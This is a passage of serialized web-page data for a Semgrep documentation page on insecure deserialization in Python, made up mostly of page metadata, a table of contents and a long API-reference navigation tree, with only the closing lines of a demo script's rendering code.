restored_from_yaml)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\n`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`=== All tests completed successfully! ===\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`]})})})]})}function MDXContent(props={}){const{wrapper:MDXLayout}={..._provideComponents(),...props.components};return MDXLayout?_jsx(MDXLayout,{...props,children:_jsx(_createMdxContent,{...props})}):_createMdxContent(props)}return{default:MDXContent};function _missingMdxReference(id,component){throw new Error(`Expected `+(component?`component`:`object`)+\" `\"+id+\"` to be defined: you likely forgot to import, pass, or provide it.\")}","frontmatter":{},"scope":{"config":{},"pageMetadata":{"title":"Insecure Deserialization in Python","description":null,"href":"/learn/vulnerabilities/insecure-deserialization/python"}}},"mdxSourceWithNoJs":null},"mdxExtracts":{"tableOfContents":[{"title":"Pickling and unpickling","slug":"pickling-and-unpickling","depth":3,"children":[]},{"title":"Common Insecure Deserialization Attacks","slug":"common-insecure-deserialization-attacks","depth":3,"children":[]},{"title":"How-to Detect Insecure Deserialization In Python Code","slug":"how-to-detect-insecure-deserialization-in-python-code","depth":3,"children":[]},{"title":"Recommendations \u0026 Mitigations","slug":"recommendations-\u0026-mitigations","depth":3,"children":[]},{"title":"Conclusion","slug":"conclusion","depth":3,"children":[]},{"title":"Appendix: Python demonstration","slug":"appendix-python-demonstration","depth":2,"children":[]}],"codeExamples":{}},"jsLinks":["/_mintlify/custom/semgrep-ee9d73d8/3525e17c6c545faa/fs.js"],"subdomain":"semgrep-ee9d73d8","siteName":"Semgrep","title":"Insecure Deserialization in Python - Semgrep","contextualStarterQuestions":[],"navMaps":{"firstHrefInVersion":{},"firstHrefInLanguage":{},"searchTabScopes":[{"tab":"Scan \u0026 secure"},{"tab":"Scan at code generation"},{"tab":"Write rules"},{"tab":"API"},{"tab":"Help"},{"tab":"Explore"},{"tab":"What's New"}]},"lastModified":"2026-11-12T19:20:25.648Z","originalFileLocation":"learn/vulnerabilities/insecure-deserialization/python.mdx"},"headHtml":"\u003cscript data-mint-head>(function(){var d=document.documentElement,p=null;if(!p){try{p=localStorage.getItem(\"isDarkMode\")}catch(e){}if(p==='true')p='dark';else if(p==='false')p='light';if(p!=='light'\u0026\u0026p!=='dark'\u0026\u0026p!=='system')p=\"system\"}var r=p==='system'?(matchMedia(\"(prefers-color-scheme: dark)\").matches?'dark':'light'):p;d.classList.remove(r==='dark'?'light':'dark');d.classList.add(r);d.setAttribute(\"data-theme-preference\",p)})();\u003c/script>\u003cmeta data-mint-head name=\"application-name\" content=\"Semgrep\">\u003cmeta data-mint-head name=\"generator\" content=\"Mintlify\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon/android-chrome-192x192.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"apple-touch-icon\" type=\"image/png\" sizes=\"180x180\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon/apple-touch-icon.png\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon/favicon-16x16.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon/favicon-32x32.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon/favicon.ico\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon-dark/android-chrome-192x192.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon-dark/favicon-16x16.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon-dark/favicon-32x32.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon-dark/favicon.ico\" media=\"(prefers-color-scheme: dark)\">\u003cmeta data-mint-head property=\"og:title\" content=\"Insecure Deserialization in Python - Semgrep\">\u003cmeta data-mint-head property=\"og:site_name\" content=\"Semgrep\">\u003cmeta data-mint-head property=\"og:url\" content=\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python\">\u003cmeta data-mint-head property=\"og:type\" content=\"website\">\u003cmeta data-mint-head property=\"og:image\" content=\"https://semgrep-ee9d73d8.mintlify.site/_mintlify/api/og/v2?division=Python\u0026amp;title=Insecure+Deserialization+in+Python\u0026amp;theme=7b4286f3087331c259d78329\u0026amp;signature=9b4096172e48c82f253d87e5a423927b64b7ade84ff72ae5825ba9416b961a28\">\u003cmeta data-mint-head property=\"og:image:width\" content=\"1200\">\u003cmeta data-mint-head property=\"og:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"twitter:card\" content=\"summary_large_image\">\u003cmeta data-mint-head name=\"twitter:title\" content=\"Insecure Deserialization in Python - Semgrep\">\u003cmeta data-mint-head name=\"twitter:image\" content=\"https://semgrep-ee9d73d8.mintlify.site/_mintlify/api/og/v2?division=Python\u0026amp;title=Insecure+Deserialization+in+Python\u0026amp;theme=7b4286f3087331c259d78329\u0026amp;signature=9b4096172e48c82f253d87e5a423927b64b7ade84ff72ae5825ba9416b961a28\">\u003cmeta data-mint-head name=\"twitter:image:width\" content=\"1200\">\u003cmeta data-mint-head name=\"twitter:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"msapplication-config\" content=\"/mintlify-assets/_mintlify/favicons/semgrep-ee9d73d8/kWw4JJfCeFf62dGq/_generated/favicon/browserconfig.xml\">\u003cmeta data-mint-head name=\"apple-mobile-web-app-title\" content=\"Semgrep\">\u003cmeta data-mint-head name=\"msapplication-TileColor\" content=\"#008456\">\u003clink data-mint-head rel=\"canonical\" href=\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python\">\u003clink data-mint-head rel=\"alternate\" type=\"application/xml\" href=\"/sitemap.xml\">\u003clink data-mint-head rel=\"alternate\" type=\"text/markdown\" href=\"/learn/vulnerabilities/insecure-deserialization/python.md\">\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://docs.semgrep.dev/#organization\",\"name\":\"Semgrep\",\"url\":\"https://docs.semgrep.dev\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://mintcdn.com/semgrep-ee9d73d8/6O2eWotSEeX-M9yU/logo/light.svg?fit=max\u0026auto=format\u0026n=6O2eWotSEeX-M9yU\u0026q=85\u0026s=b53db72fbb1f3942a5595610873e9cc6\"}},{\"@type\":\"WebSite\",\"@id\":\"https://docs.semgrep.dev#website\",\"name\":\"Semgrep\",\"url\":\"https://docs.semgrep.dev\",\"publisher\":{\"@id\":\"https://docs.semgrep.dev/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python#webpage\",\"url\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python\",\"name\":\"Insecure Deserialization in Python\",\"dateModified\":\"2026-11-12T19:20:25.648Z\",\"isPartOf\":{\"@id\":\"https://docs.semgrep.dev#website\"},\"breadcrumb\":{\"@id\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python#breadcrumb\"}},{\"@type\":\"BreadcrumbList\",\"@id\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Secure Coding\",\"item\":\"https://docs.semgrep.dev/cheat-sheets/overview\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Python\",\"item\":\"https://docs.semgrep.dev/category/python\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Insecure Deserialization in Python\",\"item\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python\"}]},{\"@type\":[\"Article\",\"TechArticle\"],\"@id\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python#article\",\"headline\":\"Insecure Deserialization in Python\",\"name\":\"Insecure Deserialization in Python\",\"url\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python\",\"mainEntityOfPage\":{\"@id\":\"https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python#webpage\"},\"dateModified\":\"2026-11-12T19:20:25.648Z\",\"publisher\":{\"@id\":\"https://docs.semgrep.dev/#organization\"},\"isPartOf\":{\"@id\":\"https://docs.semgrep.dev#website\"}}]}\u003c/script>","agentPointerHref":"/learn/vulnerabilities/insecure-deserialization/python.md","siteName":"Semgrep","nav":{"global":{"anchors":[{"anchor":"Registry","icon":"database","href":"https://semgrep.dev/explore/"},{"anchor":"Playground","icon":"codepen","href":"https://semgrep.dev/playground/new"},{"anchor":"Academy","icon":"graduation-cap","href":"https://academy.semgrep.dev"}]},"tabs":[{"tab":"Home","icon":"house","pages":[{"title":"Home","href":""}]},{"tab":"Scan \u0026 secure","icon":"shield-halved","pages":[{"title":"Scan \u0026 secure","href":"/getting-started/quickstart"}]},{"tab":"Scan at code generation","icon":"robot","pages":[{"title":"Scan at code generation","href":"/semgrep-guardian/overview"}]},{"tab":"Write rules","icon":"pen-to-square","pages":[{"title":"Write rules","href":"/writing-rules/overview"}]},{"tab":"API","icon":"code","dropdowns":[{"dropdown":"v1","icon":"code","groups":[{"group":"Overview","pages":[{"title":"Semgrep API v1","href":"/api-reference/v1/Introduction"},{"title":"Authentication","href":"/api-reference/v1/Authentication"},{"title":"Terms of Use","href":"/api-reference/v1/Terms-of-Use"},{"title":"Changelog","href":"/api-reference/v1/Changelog"},{"title":"Deprecation Policy","href":"/api-reference/v1/Deprecation-Policy"}]},{"group":"Endpoints","pages":[{"group":"Code, Supply Chain, and AI-powered detection","pages":[{"title":"List code, supply chain, or AI-powered detection findings","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentSlug}/findings","href":"/api-reference/v1/findingsservice/list-code-supply-chain-or-ai-powered-detection-findings"}]},{"group":"Deployment","pages":[{"title":"List deployments","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments","href":"/api-reference/v1/deploymentsservice/list-deployments"}]},{"group":"Policies","pages":[{"title":"List policies","deprecated":true,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/policies","href":"/api-reference/v1/policiesservice/list-policies"},{"title":"List policy rules","deprecated":true,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/policies/{policyId}","href":"/api-reference/v1/policiesservice/list-policy-rules"},{"title":"Update policy","deprecated":true,"version":null,"openapi":"/public_v1.openapi.yaml put /api/v1/deployments/{deploymentId}/policies/{policyId}","href":"/api-reference/v1/policiesservice/update-policy"}]},{"group":"Projects","pages":[{"title":"Add tags to project","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml put /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags","href":"/api-reference/v1/projectsservice/add-tags-to-project"},{"title":"Remove tags from project","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml delete /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags","href":"/api-reference/v1/projectsservice/remove-tags-from-project"},{"title":"Get project details","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentSlug}/projects/{projectName}","href":"/api-reference/v1/projectsservice/get-project-details"},{"title":"Delete project","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml delete /api/v1/deployments/{deploymentSlug}/projects/{projectName}","href":"/api-reference/v1/projectsservice/delete-project"},{"title":"Update project details","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml patch /api/v1/deployments/{deploymentSlug}/projects/{projectName}","href":"/api-reference/v1/projectsservice/update-project-details"},{"title":"List all projects","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentSlug}/projects","href":"/api-reference/v1/projectsservice/list-all-projects"},{"title":"Toggle Managed Scans for a project","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml patch /api/v1/deployments/{deploymentSlug}/projects/{projectName}/managed-scan","href":"/api-reference/v1/projectsservice/toggle-managed-scans-for-a-project"}]},{"group":"Scans","pages":[{"title":"Get scan details","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/scan/{scanId}","href":"/api-reference/v1/scansservice/get-scan-details"},{"title":"List scans (beta)","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/scans/search","href":"/api-reference/v1/scansservice/list-scans-beta"}]},{"group":"Secrets","pages":[{"title":"List secrets","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/secrets","href":"/api-reference/v1/secretsservice/list-secrets"}]},{"group":"Supply Chain","pages":[{"title":"Create a new SBOM export job","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/sbom/export","href":"/api-reference/v1/supplychainservice/create-a-new-sbom-export-job"},{"title":"Get the status of a SBOM export job","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/sbom/export/{taskToken}","href":"/api-reference/v1/supplychainservice/get-the-status-of-a-sbom-export-job"},{"title":"List dependencies","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/dependencies","href":"/api-reference/v1/supplychainservice/list-dependencies"},{"title":"List lockfiles in a given repository with dependencies","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/dependencies/repositories/{repositoryId}/lockfiles","href":"/api-reference/v1/supplychainservice/list-lockfiles-in-a-given-repository-with-dependencies"},{"title":"List repositories with dependencies","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/dependencies/repositories","href":"/api-reference/v1/supplychainservice/list-repositories-with-dependencies"}]},{"group":"Ticketing","pages":[{"title":"Create Jira tickets","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentSlug}/tickets","href":"/api-reference/v1/ticketingservice/create-jira-tickets"},{"title":"Link an existing ticket to findings","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/tickets/link","href":"/api-reference/v1/ticketingservice/link-an-existing-ticket-to-findings"},{"title":"Unlink a Jira ticket","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml delete /api/v1/deployments/{deploymentId}/ticketing/v2/tickets/{externalTicketId}","href":"/api-reference/v1/ticketingservice/unlink-a-jira-ticket"},{"title":"Unlink a ticket from findings","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/tickets/unlink","href":"/api-reference/v1/ticketingservice/unlink-a-ticket-from-findings"}]},{"group":"Triage","pages":[{"title":"Bulk triage","deprecated":null,"version":null,"openapi":"/public_v1.openapi.yaml post /api/v1/deployments/{deploymentSlug}/triage","href":"/api-reference/v1/triageservice/bulk-triage"}]}]}]},{"dropdown":"v2 (Experimental)","icon":"flask","groups":[{"group":"Overview","pages":[{"title":"Semgrep API v2","href":"/api-reference/v2/Introduction"},{"title":"Authentication","href":"/api-reference/v2/Authentication"},{"title":"Terms of Use","href":"/api-reference/v2/Terms-of-Use"},{"title":"Changelog","href":"/api-reference/v2/Changelog"},{"title":"Deprecation Policy","href":"/api-reference/v2/Deprecation-Policy"}]},{"group":"Endpoints","pages":[{"group":"AI Fix Jobs","pages":[{"title":"Create fix job","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues/{issueId}/fix_jobs","href":"/api-reference/v2/aifixjobsservice/create-fix-job"}]},{"group":"AI tasks","pages":[{"title":"Create combined task","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/{deploymentId}/combined_task","href":"/api-reference/v2/aitasksservice/create-combined-task"},{"title":"Get task info","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/ai/{deploymentId}/info","href":"/api-reference/v2/aitasksservice/get-task-info"}]},{"group":"Autofix","pages":[{"title":"Create autofix","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/v1/deployments/{deploymentId}/issues/{issueId}/autofix","href":"/api-reference/v2/autofixservice/create-autofix"}]},{"group":"Automations","pages":[{"title":"List automations","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/automations","href":"/api-reference/v2/automationsservice/list-automations"},{"title":"Create automation","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/automations","href":"/api-reference/v2/automationsservice/create-automation"},{"title":"Update automation","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/notifications/deployments/{deploymentId}/automations/{automationId}","href":"/api-reference/v2/automationsservice/update-automation"},{"title":"Delete automation","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/notifications/deployments/{deploymentId}/automations/{automationId}","href":"/api-reference/v2/automationsservice/delete-automation"},{"title":"List automations","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/automations","href":"/api-reference/v2/automationsservice/list-automations-1"}]},{"group":"Autotriage Feedback","pages":[{"title":"Submit autotriage feedback","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/autotriage_feedback","href":"/api-reference/v2/autotriagefeedbackservice/submit-autotriage-feedback"}]},{"group":"Deployment","pages":[{"title":"List deployment users","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/users","href":"/api-reference/v2/deploymentservice/list-deployment-users"},{"title":"Add deployment user","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/users","href":"/api-reference/v2/deploymentservice/add-deployment-user"},{"title":"Create deployment","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments","href":"/api-reference/v2/deploymentservice/create-deployment"},{"title":"Get deployment","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}","href":"/api-reference/v2/deploymentservice/get-deployment"},{"title":"Update deployment","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}","href":"/api-reference/v2/deploymentservice/update-deployment"},{"title":"Get deployment authorized actions","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/authorized_actions","href":"/api-reference/v2/deploymentservice/get-deployment-authorized-actions"},{"title":"Get deployment default user role","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/default_user_role","href":"/api-reference/v2/deploymentservice/get-deployment-default-user-role"},{"title":"Get deployment for current token","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployment","href":"/api-reference/v2/deploymentservice/get-deployment-for-current-token"},{"title":"Get deployment GitHub app status","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/github_app_status","href":"/api-reference/v2/deploymentservice/get-deployment-github-app-status"},{"title":"List deployment users (paginated)","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/users/list","href":"/api-reference/v2/deploymentservice/list-deployment-users-paginated"},{"title":"Remove deployment user","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/users/{userId}","href":"/api-reference/v2/deploymentservice/remove-deployment-user"},{"title":"Send product toggle feedback","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/products/feedback","href":"/api-reference/v2/deploymentservice/send-product-toggle-feedback"},{"title":"Toggle cross-file analysis","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/has_deepsemgrep","href":"/api-reference/v2/deploymentservice/toggle-cross-file-analysis"},{"title":"Toggle dependency query","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/has_dependency_query","href":"/api-reference/v2/deploymentservice/toggle-dependency-query"},{"title":"Toggle triage via comment","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/has_triage_via_comment","href":"/api-reference/v2/deploymentservice/toggle-triage-via-comment"},{"title":"Update deployment user role","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/users/{userId}/roles","href":"/api-reference/v2/deploymentservice/update-deployment-user-role"}]},{"group":"Deployment Products","pages":[{"title":"Get deployment product config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/products","href":"/api-reference/v2/deploymentproductsservice/get-deployment-product-config"},{"title":"Create or update deployment product config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/products","href":"/api-reference/v2/deploymentproductsservice/create-or-update-deployment-product-config"},{"title":"Get deployment admin product config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/products/admin","href":"/api-reference/v2/deploymentproductsservice/get-deployment-admin-product-config"}]},{"group":"Deployment Tags","pages":[{"title":"Get a deployment tag","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/tags/{repositoryTag}","href":"/api-reference/v2/deploymenttagservice/get-a-deployment-tag"},{"title":"Create or update a deployment tag","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/tags/{repositoryTag}","href":"/api-reference/v2/deploymenttagservice/create-or-update-a-deployment-tag"},{"title":"Delete a deployment tag","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/tags/{repositoryTag}","href":"/api-reference/v2/deploymenttagservice/delete-a-deployment-tag"},{"title":"Find deployment tags with project counts","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/tags/find","href":"/api-reference/v2/deploymenttagservice/find-deployment-tags-with-project-counts"},{"title":"List deployment tags","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/tags","href":"/api-reference/v2/deploymenttagservice/list-deployment-tags"}]},{"group":"Deployments","pages":[{"title":"List deployments","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/v2/deployments","href":"/api-reference/v2/deploymentsservice/list-deployments"}]},{"group":"Editor","pages":[{"title":"Validate a rule against example code","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/run","href":"/api-reference/v2/editorservice/validate-a-rule-against-example-code"}]},{"group":"External Ticketing","pages":[{"title":"Create external tickets","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/create_tickets","href":"/api-reference/v2/externalticketingservice/create-external-tickets"},{"title":"Delete external ticket","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/tickets/{nangoExternalTicketId}","href":"/api-reference/v2/externalticketingservice/delete-external-ticket"},{"title":"Get external ticketing instances","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/ticketing/v2","href":"/api-reference/v2/externalticketingservice/get-external-ticketing-instances"},{"title":"Link an existing ticket to findings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/tickets/link","href":"/api-reference/v2/externalticketingservice/link-an-existing-ticket-to-findings"},{"title":"Unlink a ticket from findings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/tickets/unlink","href":"/api-reference/v2/externalticketingservice/unlink-a-ticket-from-findings"}]},{"group":"Global Ignores","pages":[{"title":"Get product ignores","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ignores","href":"/api-reference/v2/ignoresservice/get-product-ignores"},{"title":"Create product ignores","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/ignores","href":"/api-reference/v2/ignoresservice/create-product-ignores"},{"title":"Delete product ignores","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/ignores","href":"/api-reference/v2/ignoresservice/delete-product-ignores"},{"title":"Update product ignores","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/ignores","href":"/api-reference/v2/ignoresservice/update-product-ignores"}]},{"group":"Infrastructure Configurations","pages":[{"title":"Get Managed Scans VPC bootstrap CloudFormation template","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/infra-config/bootstrap-sms-vpc","href":"/api-reference/v2/infrastructureconfigurationsservice/get-managed-scans-vpc-bootstrap-cloudformation-template"}]},{"group":"Issues","pages":[{"title":"Bulk update issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/findings/v2","href":"/api-reference/v2/issuesservice/bulk-update-issues"},{"title":"Export issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues/export","href":"/api-reference/v2/issuesservice/export-issues"},{"title":"Get issue","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/issues/v2/{issueId}","href":"/api-reference/v2/issuesservice/get-issue"},{"title":"Get issue code snippets","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/issues/v2/{issueId}/code-snippets","href":"/api-reference/v2/issuesservice/get-issue-code-snippets"},{"title":"Get issue counts","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issue_counts","href":"/api-reference/v2/issuesservice/get-issue-counts"},{"title":"Get issue filters","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issue_filters","href":"/api-reference/v2/issuesservice/get-issue-filters"},{"title":"List issue groups","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues/search","href":"/api-reference/v2/issuesservice/list-issue-groups"},{"title":"List issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues","href":"/api-reference/v2/issuesservice/list-issues"},{"title":"List related issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/deployments/{deploymentId}/issues/{issueId}/related-issues","href":"/api-reference/v2/issuesservice/list-related-issues"}]},{"group":"Issues (Semgrep Agentic Workflows)","pages":[{"title":"Count issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post 